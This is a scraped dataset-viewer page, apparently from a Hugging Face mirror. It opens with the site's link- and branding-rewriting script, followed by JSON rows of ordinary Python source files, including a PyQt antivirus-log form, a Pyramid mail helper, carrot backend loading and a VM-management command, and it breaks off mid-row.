{ // 获取包含Hugging Face文本的span元素 const spans = link.querySelectorAll('span.whitespace-nowrap, span.hidden.whitespace-nowrap'); spans.forEach(span => { if (span.textContent && span.textContent.trim().match(/Hugging\s*Face/i)) { span.textContent = 'AI快站'; } }); }); // 替换logo图片的alt属性 document.querySelectorAll('img[alt*="Hugging"], img[alt*="Face"]').forEach(img => { if (img.alt.match(/Hugging\s*Face/i)) { img.alt = 'AI快站 logo'; } }); } // 替换导航栏中的链接 function replaceNavigationLinks() { // 已替换标记,防止重复运行 if (window._navLinksReplaced) { return; } // 已经替换过的链接集合,防止重复替换 const replacedLinks = new Set(); // 只在导航栏区域查找和替换链接 const headerArea = document.querySelector('header') || document.querySelector('nav'); if (!headerArea) { return; } // 在导航区域内查找链接 const navLinks = headerArea.querySelectorAll('a'); navLinks.forEach(link => { // 如果已经替换过,跳过 if (replacedLinks.has(link)) return; const linkText = link.textContent.trim(); const linkHref = link.getAttribute('href') || ''; // 替换Spaces链接 - 仅替换一次 if ( (linkHref.includes('/spaces') || linkHref === '/spaces' || linkText === 'Spaces' || linkText.match(/^s*Spacess*$/i)) && linkText !== 'OCR模型免费转Markdown' && linkText !== 'OCR模型免费转Markdown' ) { link.textContent = 'OCR模型免费转Markdown'; link.href = 'https://fast360.xyz'; link.setAttribute('target', '_blank'); link.setAttribute('rel', 'noopener noreferrer'); replacedLinks.add(link); } // 删除Posts链接 else if ( (linkHref.includes('/posts') || linkHref === '/posts' || linkText === 'Posts' || linkText.match(/^s*Postss*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } // 替换Docs链接 - 仅替换一次 else if ( (linkHref.includes('/docs') || linkHref === '/docs' || linkText === 'Docs' || linkText.match(/^s*Docss*$/i)) && linkText !== '模型下载攻略' ) { link.textContent = '模型下载攻略'; link.href = '/'; replacedLinks.add(link); } // 删除Enterprise链接 else if ( (linkHref.includes('/enterprise') || linkHref === '/enterprise' || linkText === 'Enterprise' || linkText.match(/^s*Enterprises*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } }); // 查找可能嵌套的Spaces和Posts文本 const textNodes = []; function findTextNodes(element) { if (element.nodeType === Node.TEXT_NODE) { const text = element.textContent.trim(); if (text === 'Spaces' || text === 'Posts' || text === 'Enterprise') { textNodes.push(element); } } else { for (const child of element.childNodes) { findTextNodes(child); } } } // 只在导航区域内查找文本节点 findTextNodes(headerArea); // 替换找到的文本节点 textNodes.forEach(node => { const text = node.textContent.trim(); if (text === 'Spaces') { node.textContent = node.textContent.replace(/Spaces/g, 'OCR模型免费转Markdown'); } else if (text === 'Posts') { // 删除Posts文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } else if (text === 'Enterprise') { // 删除Enterprise文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } }); // 标记已替换完成 window._navLinksReplaced = true; } // 替换代码区域中的域名 function replaceCodeDomains() { // 特别处理span.hljs-string和span.njs-string元素 document.querySelectorAll('span.hljs-string, span.njs-string, span[class*="hljs-string"], span[class*="njs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换hljs-string类的span中的域名(移除多余的转义符号) document.querySelectorAll('span.hljs-string, span[class*="hljs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换pre和code标签中包含git clone命令的域名 document.querySelectorAll('pre, code').forEach(element => { if (element.textContent && element.textContent.includes('git clone')) { const text = element.innerHTML; if (text.includes('huggingface.co')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 处理特定的命令行示例 document.querySelectorAll('pre, code').forEach(element => { const text = element.innerHTML; if (text.includes('huggingface.co')) { // 针对git clone命令的专门处理 if (text.includes('git clone') || text.includes('GIT_LFS_SKIP_SMUDGE=1')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 特别处理模型下载页面上的代码片段 document.querySelectorAll('.flex.border-t, .svelte_hydrator, .inline-block').forEach(container => { const content = container.innerHTML; if (content && content.includes('huggingface.co')) { container.innerHTML = content.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 特别处理模型仓库克隆对话框中的代码片段 try { // 查找包含"Clone this model repository"标题的对话框 const cloneDialog = document.querySelector('.svelte_hydration_boundary, [data-target="MainHeader"]'); if (cloneDialog) { // 查找对话框中所有的代码片段和命令示例 const codeElements = cloneDialog.querySelectorAll('pre, code, span'); codeElements.forEach(element => { if (element.textContent && element.textContent.includes('huggingface.co')) { if (element.innerHTML.includes('huggingface.co')) { element.innerHTML = element.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { element.textContent = element.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); } // 更精确地定位克隆命令中的域名 document.querySelectorAll('[data-target]').forEach(container => { const codeBlocks = container.querySelectorAll('pre, code, span.hljs-string'); codeBlocks.forEach(block => { if (block.textContent && block.textContent.includes('huggingface.co')) { if (block.innerHTML.includes('huggingface.co')) { block.innerHTML = block.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { block.textContent = block.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); }); } catch (e) { // 错误处理但不打印日志 } } // 当DOM加载完成后执行替换 if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', () => { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); }); } else { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); } // 增加一个MutationObserver来处理可能的动态元素加载 const observer = new MutationObserver(mutations => { // 检查是否导航区域有变化 const hasNavChanges = mutations.some(mutation => { // 检查是否存在header或nav元素变化 return Array.from(mutation.addedNodes).some(node => { if (node.nodeType === Node.ELEMENT_NODE) { // 检查是否是导航元素或其子元素 if (node.tagName === 'HEADER' || node.tagName === 'NAV' || node.querySelector('header, nav')) { return true; } // 检查是否在导航元素内部 let parent = node.parentElement; while (parent) { if (parent.tagName === 'HEADER' || parent.tagName === 'NAV') { return true; } parent = parent.parentElement; } } return false; }); }); // 只在导航区域有变化时执行替换 if (hasNavChanges) { // 重置替换状态,允许再次替换 window._navLinksReplaced = false; replaceHeaderBranding(); replaceNavigationLinks(); } }); // 开始观察document.body的变化,包括子节点 if (document.body) { observer.observe(document.body, { childList: true, subtree: true }); } else { document.addEventListener('DOMContentLoaded', () => { observer.observe(document.body, { childList: true, subtree: true }); }); } })(); \", None, QtGui.QApplication.UnicodeUTF8))\n self.IP_label.setText(QtGui.QApplication.translate(\"MainWindow\", \"IP Address\", None, QtGui.QApplication.UnicodeUTF8))\n self.IP_Address_Input.setToolTip(QtGui.QApplication.translate(\"MainWindow\", \"

Enter IP Address

\", None, QtGui.QApplication.UnicodeUTF8))\n self.Username_label.setText(QtGui.QApplication.translate(\"MainWindow\", \"Username\", None, QtGui.QApplication.UnicodeUTF8))\n self.Username_input.setToolTip(QtGui.QApplication.translate(\"MainWindow\", \"

Input the username.

\", None, QtGui.QApplication.UnicodeUTF8))\n self.Action_label.setText(QtGui.QApplication.translate(\"MainWindow\", \"Action\", None, QtGui.QApplication.UnicodeUTF8))\n self.Action_selection.setToolTip(QtGui.QApplication.translate(\"MainWindow\", \"

Select the action taken.

\", None, QtGui.QApplication.UnicodeUTF8))\n self.Action_selection.setItemText(0, QtGui.QApplication.translate(\"MainWindow\", \"On Access Deleted\", None, QtGui.QApplication.UnicodeUTF8))\n self.Action_selection.setItemText(1, QtGui.QApplication.translate(\"MainWindow\", \"On Access Cleaned\", None, QtGui.QApplication.UnicodeUTF8))\n self.Action_selection.setItemText(2, QtGui.QApplication.translate(\"MainWindow\", \"Managed Scan Deleted\", None, QtGui.QApplication.UnicodeUTF8))\n self.Action_selection.setItemText(3, QtGui.QApplication.translate(\"MainWindow\", \"Managed Scan Cleaned\", None, QtGui.QApplication.UnicodeUTF8))\n self.Action_selection.setItemText(4, QtGui.QApplication.translate(\"MainWindow\", \"Script Scan Blocked\", None, QtGui.QApplication.UnicodeUTF8))\n self.Action_selection.setItemText(5, QtGui.QApplication.translate(\"MainWindow\", \"Other\", None, QtGui.QApplication.UnicodeUTF8))\n self.Device_label.setText(QtGui.QApplication.translate(\"MainWindow\", \"Device Type\", None, QtGui.QApplication.UnicodeUTF8))\n self.Device_Type_Drop.setToolTip(QtGui.QApplication.translate(\"MainWindow\", \"

Select Device Type

\", None, QtGui.QApplication.UnicodeUTF8))\n self.Device_Type_Drop.setItemText(0, QtGui.QApplication.translate(\"MainWindow\", \"Desktop\", None, QtGui.QApplication.UnicodeUTF8))\n self.Device_Type_Drop.setItemText(1, QtGui.QApplication.translate(\"MainWindow\", \"Laptop\", None, QtGui.QApplication.UnicodeUTF8))\n self.Device_Type_Drop.setItemText(2, QtGui.QApplication.translate(\"MainWindow\", \"Server\", None, QtGui.QApplication.UnicodeUTF8))\n self.label.setText(QtGui.QApplication.translate(\"MainWindow\", \"Dat Version\", None, QtGui.QApplication.UnicodeUTF8))\n self.lineEditDAT.setToolTip(QtGui.QApplication.translate(\"MainWindow\", \"

Enter the DAT Version.

\", None, QtGui.QApplication.UnicodeUTF8))\n self.Location_label.setText(QtGui.QApplication.translate(\"MainWindow\", \"Location\", None, QtGui.QApplication.UnicodeUTF8))\n self.Location_input.setToolTip(QtGui.QApplication.translate(\"MainWindow\", \"

Enter the location of the user.

\", None, QtGui.QApplication.UnicodeUTF8))\n self.Detection_Type_label.setText(QtGui.QApplication.translate(\"MainWindow\", \"Detection Type\", None, QtGui.QApplication.UnicodeUTF8))\n self.Detection_Type_Input.setToolTip(QtGui.QApplication.translate(\"MainWindow\", \"

Enter the detection type.

\", None, QtGui.QApplication.UnicodeUTF8))\n self.Logs_label.setText(QtGui.QApplication.translate(\"MainWindow\", \"Logs Pulled\", None, QtGui.QApplication.UnicodeUTF8))\n self.Date_Gen_label.setText(QtGui.QApplication.translate(\"MainWindow\", \"Date/time Gen.\", None, QtGui.QApplication.UnicodeUTF8))\n self.Date_gen_input.setToolTip(QtGui.QApplication.translate(\"MainWindow\", \"

Enter Date and Time Event was Generated.

\", None, QtGui.QApplication.UnicodeUTF8))\n self.Date_gen_input.setDisplayFormat(QtGui.QApplication.translate(\"MainWindow\", \"MM/dd/yy h:mm:ss A\", None, QtGui.QApplication.UnicodeUTF8))\n self.Org_label.setText(QtGui.QApplication.translate(\"MainWindow\", \"Organization\", None, QtGui.QApplication.UnicodeUTF8))\n self.Org_input.setToolTip(QtGui.QApplication.translate(\"MainWindow\", \"

Enter The Orginization

\", None, QtGui.QApplication.UnicodeUTF8))\n self.Date_rec_input.setToolTip(QtGui.QApplication.translate(\"MainWindow\", \"

Enter Date and Time Event was Received.

\", None, QtGui.QApplication.UnicodeUTF8))\n self.label_2.setText(QtGui.QApplication.translate(\"MainWindow\", \"Date/Time Rec.\", None, QtGui.QApplication.UnicodeUTF8))\n self.Comments_label.setText(QtGui.QApplication.translate(\"MainWindow\", \"Comments\", None, QtGui.QApplication.UnicodeUTF8))\n self.Save_Button.setToolTip(QtGui.QApplication.translate(\"MainWindow\", \"

Save and update the AV summary database.

\", None, QtGui.QApplication.UnicodeUTF8))\n self.Save_Button.setText(QtGui.QApplication.translate(\"MainWindow\", \"Save\", None, QtGui.QApplication.UnicodeUTF8))\n self.Update_Button.setText(QtGui.QApplication.translate(\"MainWindow\", \"Update\", None, QtGui.QApplication.UnicodeUTF8))\n self.pushRefresh.setText(QtGui.QApplication.translate(\"MainWindow\", \"Refresh\", None, QtGui.QApplication.UnicodeUTF8))\n self.File_path_label.setText(QtGui.QApplication.translate(\"MainWindow\", \"File Path\", None, QtGui.QApplication.UnicodeUTF8))\n self.menuFile.setTitle(QtGui.QApplication.translate(\"MainWindow\", \"File\", None, QtGui.QApplication.UnicodeUTF8))\n self.menuForm.setTitle(QtGui.QApplication.translate(\"MainWindow\", \"Form\", None, QtGui.QApplication.UnicodeUTF8))\n self.menuDatabase.setTitle(QtGui.QApplication.translate(\"MainWindow\", \"Database\", None, QtGui.QApplication.UnicodeUTF8))\n self.menuExport_By.setTitle(QtGui.QApplication.translate(\"MainWindow\", \"Export By\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionClose.setText(QtGui.QApplication.translate(\"MainWindow\", \"Close\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionOpen.setText(QtGui.QApplication.translate(\"MainWindow\", \"Open\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionDatabase.setText(QtGui.QApplication.translate(\"MainWindow\", \"Database\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionBy_Date.setText(QtGui.QApplication.translate(\"MainWindow\", \"By Date\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionBy_Hostname.setText(QtGui.QApplication.translate(\"MainWindow\", \"By Hostname\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionBy_Username.setText(QtGui.QApplication.translate(\"MainWindow\", \"By Username\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionBy_Date_2.setText(QtGui.QApplication.translate(\"MainWindow\", \"By Date\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionBy_Hostname_2.setText(QtGui.QApplication.translate(\"MainWindow\", \"By Hostname\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionBy_Username_2.setText(QtGui.QApplication.translate(\"MainWindow\", \"By Username\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionBy_Date_3.setText(QtGui.QApplication.translate(\"MainWindow\", \"By Date\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionBy_Hostname_3.setText(QtGui.QApplication.translate(\"MainWindow\", \"By Hostname\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionBy_Username_3.setText(QtGui.QApplication.translate(\"MainWindow\", \"By Username\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionExport_Entire_Database.setText(QtGui.QApplication.translate(\"MainWindow\", \"Export Entire Database\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionClear_Form.setText(QtGui.QApplication.translate(\"MainWindow\", \"Clear Form\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionDelete_Row.setText(QtGui.QApplication.translate(\"MainWindow\", \"Delete Row\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionBy_Date_4.setText(QtGui.QApplication.translate(\"MainWindow\", \"Date Received\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionBy_Hostname_4.setText(QtGui.QApplication.translate(\"MainWindow\", \"Hostname\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionBy_Username_4.setText(QtGui.QApplication.translate(\"MainWindow\", \"Username\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionSpace.setText(QtGui.QApplication.translate(\"MainWindow\", \"space\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionUpdate_Row.setText(QtGui.QApplication.translate(\"MainWindow\", \"Update Row\", None, QtGui.QApplication.UnicodeUTF8))\n self.actionExport_AV_Summary.setText(QtGui.QApplication.translate(\"MainWindow\", \"Export AV Summary\", None, QtGui.QApplication.UnicodeUTF8))\n self.pushclearsearch.setText(QtGui.QApplication.translate(\"MainWindow\", \"Clear\", None, QtGui.QApplication.UnicodeUTF8))\n\nif __name__ == \"__main__\":\n import sys\n app = QtGui.QApplication(sys.argv)\n MainWindow = QtGui.QMainWindow()\n ui = Ui_MainWindow()\n ui.setupUi(MainWindow)\n MainWindow.show()\n sys.exit(app.exec_())\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":971,"cells":{"__id__":{"kind":"number","value":8753143350929,"string":"8,753,143,350,929"},"blob_id":{"kind":"string","value":"79917927b02b854f36d27c4ae1760aa37b0974b9"},"directory_id":{"kind":"string","value":"f82731e4dfc535afa3de9f30ee01e7dd28bab1f3"},"path":{"kind":"string","value":"/tumblr/scoretest.py"},"content_id":{"kind":"string","value":"cfe0b992e7624b1f4766c61be182182939692e4d"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"JKatzwinkel/python-misc"},"repo_url":{"kind":"string","value":"https://github.com/JKatzwinkel/python-misc"},"snapshot_id":{"kind":"string","value":"580371ca20e18917111a37b0844bf99981bf810f"},"revision_id":{"kind":"string","value":"b323244416ddd7cbb41e9b52062f296307c2eb8a"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-10T17:55:28.128813","string":"2021-01-10T17:55:28.128813"},"revision_date":{"kind":"timestamp","value":"2014-05-17T12:52:02","string":"2014-05-17T12:52:02"},"committer_date":{"kind":"timestamp","value":"2014-05-17T12:52:02","string":"2014-05-17T12:52:02"},"github_id":{"kind":"number","value":8535697,"string":"8,535,697"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# -*- coding: utf-8 -*- \nimport index as ix\n\nix.load()\n\nimgs=sorted(ix.picture.pictures(), key=lambda p:p.rating)\nblogs=sorted(ix.tumblr.blogs(), key=lambda t:t.avg_img_rating())\n\nprint 'distributing blog scores...'\nscores=ix.tumblr.dist_scores()\nprint 'sorting blogs by score'\nhi=sorted(scores.items(), key=lambda t:t[1])\n\nstars = {}\nfor p in imgs[-40:]:\n\tt = p.origin\n\tif t:\n\t\tstars[t] = stars.get(t,0)+p.rating\n\nprint ' '.join(['name','stars','imgs','local/blog',\n\t'links','in/out']),\nprint 'avg* - SCORE'\nprint '_'*75\nfor t,s in sorted(stars.items(),key=lambda x:x[1]):\n\tprint u'{} - {}* {}/{}imgs ⇶{}/{}⇶'.format(\n\t\tt.name,s,len(t.proper_imgs),len(t.images),\n\t\tlen(t.linked),len(t.links)),\n\tprint '{:.2f}* - score {:.2f}'.format(t.avg_img_rating(),\n\t\tscores.get(t))\n\nprint 'ok'"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":972,"cells":{"__id__":{"kind":"number","value":13821204784699,"string":"13,821,204,784,699"},"blob_id":{"kind":"string","value":"e29969d8231ebcd7b0b111c3f78f3c82bb4ae89e"},"directory_id":{"kind":"string","value":"73361fc6f7ecd9a19359a828b2574499a991bde4"},"path":{"kind":"string","value":"/gallery2/lib/mail.py"},"content_id":{"kind":"string","value":"3fb858ff6cfbc9758baf7e05085318edab4f3174"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"danjac/gallery2"},"repo_url":{"kind":"string","value":"https://github.com/danjac/gallery2"},"snapshot_id":{"kind":"string","value":"3a28cd3ca364a30eaf277bfd9db3cac72dd2463a"},"revision_id":{"kind":"string","value":"ff8c50bdfc30d9ac5fff910589b7f976a4b40bcf"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-05-19T07:59:00.047308","string":"2020-05-19T07:59:00.047308"},"revision_date":{"kind":"timestamp","value":"2014-01-15T13:44:06","string":"2014-01-15T13:44:06"},"committer_date":{"kind":"timestamp","value":"2014-01-15T13:44:06","string":"2014-01-15T13:44:06"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from pyramid.renderers import render\n\nfrom pyramid_mailer import get_mailer\nfrom pyramid_mailer.message import Message\n\n\ndef get_rendered_mail(request, subject, recipients, sender=None,\n context=None, renderer=None, text_renderer=None,\n html_renderer=None,\n **kwargs):\n\n context = context or {}\n\n if renderer: # base truncated name\n text_renderer = 'emails/%s.text.jinja2' % renderer\n html_renderer = 'emails/%s.html.jinja2' % renderer\n\n if not text_renderer:\n raise ValueError(\"text_renderer required\")\n\n message = Message(subject=subject,\n recipients=recipients,\n sender=sender)\n message.body = render(text_renderer, context, request)\n\n if html_renderer:\n message.html = render(html_renderer, context, request)\n\n return message\n\n\ndef send_rendered_mail(request, *args, **kwargs):\n return get_mailer(request).send(\n get_rendered_mail(request, *args, **kwargs))\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":973,"cells":{"__id__":{"kind":"number","value":17763984743222,"string":"17,763,984,743,222"},"blob_id":{"kind":"string","value":"ead95cad9cedf7caf6c410f8c073e35b355ac143"},"directory_id":{"kind":"string","value":"16edda1c468bf77c904153bcddd469cb877bfddd"},"path":{"kind":"string","value":"/carrot/backends/__init__.py"},"content_id":{"kind":"string","value":"3f3cc32074d0d54598e9de37c608a67e650efe92"},"detected_licenses":{"kind":"list like","value":["BSD-3-Clause"],"string":"[\n \"BSD-3-Clause\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"runeh/carrot"},"repo_url":{"kind":"string","value":"https://github.com/runeh/carrot"},"snapshot_id":{"kind":"string","value":"0f8243dc86f0319f84046c08c541f183f0904147"},"revision_id":{"kind":"string","value":"9225fd97968bab7fa7ae1e9648dc87602c8c310f"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-18T05:15:45.650849","string":"2021-01-18T05:15:45.650849"},"revision_date":{"kind":"timestamp","value":"2009-06-01T21:20:01","string":"2009-06-01T21:20:01"},"committer_date":{"kind":"timestamp","value":"2009-06-01T21:20:01","string":"2009-06-01T21:20:01"},"github_id":{"kind":"number","value":195789,"string":"195,789"},"star_events_count":{"kind":"number","value":3,"string":"3"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"\"\"\"carrot.backends\"\"\"\nimport sys\nfrom functools import partial\n\n\"\"\"\n.. data:: DEFAULT_BACKEND\n\n Name of the default backend used.\n\n If running under Django, this will be the value of\n ``settings.CARROT_BACKEND``.\n\"\"\"\nDEFAULT_BACKEND = \"pyamqplib\"\n\ntry:\n from django.conf import settings\n DEFAULT_BACKEND = getattr(settings, \"CARROT_BACKEND\", DEFAULT_BACKEND)\nexcept ImportError:\n pass\n\n\ndef get_backend_cls(backend):\n \"\"\"Get backend class by name.\n\n If the name does not include \"``.``\" (is not fully qualified),\n ``\"carrot.backends.\"`` will be prepended to the name. e.g.\n ``\"pyqueue\"`` becomes ``\"carrot.backends.pyqueue\"``.\n\n \"\"\"\n if backend.find(\".\") == -1:\n backend = \"carrot.backends.%s\" % backend\n __import__(backend)\n backend_module = sys.modules[backend]\n return getattr(backend_module, \"Backend\")\n\n\n\"\"\"\n.. function:: get_default_backend_cls()\n\n Get the default backend class.\n\n Default is ``DEFAULT_BACKEND``.\n\n\"\"\"\nget_default_backend_cls = partial(get_backend_cls, DEFAULT_BACKEND)\n\n\n\"\"\"\n.. class:: DefaultBackend\n\n The default backend class.\n This is the class specified in ``DEFAULT_BACKEND``.\n\"\"\"\nDefaultBackend = get_default_backend_cls()\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2009,"string":"2,009"}}},{"rowIdx":974,"cells":{"__id__":{"kind":"number","value":498216239302,"string":"498,216,239,302"},"blob_id":{"kind":"string","value":"73a4b940c4e9f84bd773780bc0b8e2b692e8395b"},"directory_id":{"kind":"string","value":"0a2ee861dfe88e6f3a0626e92df1aca86c5f82b5"},"path":{"kind":"string","value":"/insekta/scenario/management/commands/vmd.py"},"content_id":{"kind":"string","value":"dfcb2f8acf69d8b7cac229293f422bb6c1c0a779"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"0x64746b/Insekta"},"repo_url":{"kind":"string","value":"https://github.com/0x64746b/Insekta"},"snapshot_id":{"kind":"string","value":"880199c00658b1a7e9022d9e2fe6d401f7e40f43"},"revision_id":{"kind":"string","value":"9740e513bf6abfe4681addbd74997725b4df082d"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-17T06:58:52.807915","string":"2021-01-17T06:58:52.807915"},"revision_date":{"kind":"timestamp","value":"2012-01-20T19:37:05","string":"2012-01-20T19:37:05"},"committer_date":{"kind":"timestamp","value":"2012-01-20T19:37:05","string":"2012-01-20T19:37:05"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from __future__ import print_function\nimport time\nimport signal\n\nfrom django.core.management.base import NoArgsCommand\n\nfrom insekta.common.virt import connections\nfrom insekta.scenario.models import RunTaskQueue, ScenarioError\n\nMIN_SLEEP = 1.0\n\nclass Command(NoArgsCommand):\n help = 'Manages the state changes of virtual machines'\n\n def handle_noargs(self, **options):\n self.run = True\n signal.signal(signal.SIGINT, lambda sig, frame: self.stop())\n signal.signal(signal.SIGTERM, lambda sig, frame: self.stop())\n\n last_call = time.time()\n while self.run:\n for task in RunTaskQueue.objects.all():\n try:\n self._handle_task(task)\n except ScenarioError:\n # This can happen if someone manages the vm manually.\n # We can just ignore it, it does no harm\n pass\n task.delete()\n current_time = time.time()\n time_passed = current_time - last_call\n if time_passed < MIN_SLEEP:\n time.sleep(MIN_SLEEP - time_passed)\n last_call = current_time\n connections.close()\n\n def _handle_task(self, task):\n scenario_run = task.scenario_run\n\n db_state = scenario_run.state\n scenario_run.refresh_state()\n if scenario_run.state != db_state:\n scenario_run.save()\n\n # Scenario run was deleted in a previous task, we need to ignore\n # all further task actions except create\n if scenario_run.state == 'disabled' and task.action != 'create':\n return\n \n if task.action == 'create':\n if scenario_run.state == 'disabled':\n scenario_run.create_domain()\n elif task.action == 'start':\n if scenario_run.state == 'stopped':\n scenario_run.start()\n elif task.action == 'stop':\n if scenario_run.state == 'started':\n scenario_run.stop()\n elif task.action == 'suspend':\n if scenario_run.state == 'started':\n scenario_run.suspend()\n elif task.action == 'resume':\n if scenario_run.state == 'suspended':\n scenario_run.resume()\n elif task.action == 'destroy':\n scenario_run.destroy_domain()\n scenario_run.delete()\n\n def stop(self):\n print('Stopping, please wait a few moments.')\n self.run = False\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":975,"cells":{"__id__":{"kind":"number","value":12154757463052,"string":"12,154,757,463,052"},"blob_id":{"kind":"string","value":"cbb4fe29c2c93af7f43b4dd5c91280e3bf501763"},"directory_id":{"kind":"string","value":"4e291a47946a81fff04a8027551ffc63d6063e6e"},"path":{"kind":"string","value":"/medium/decodenumbers.py"},"content_id":{"kind":"string","value":"9ad0f46009036f69b0a34103adf8b6140d49cae8"},"detected_licenses":{"kind":"list 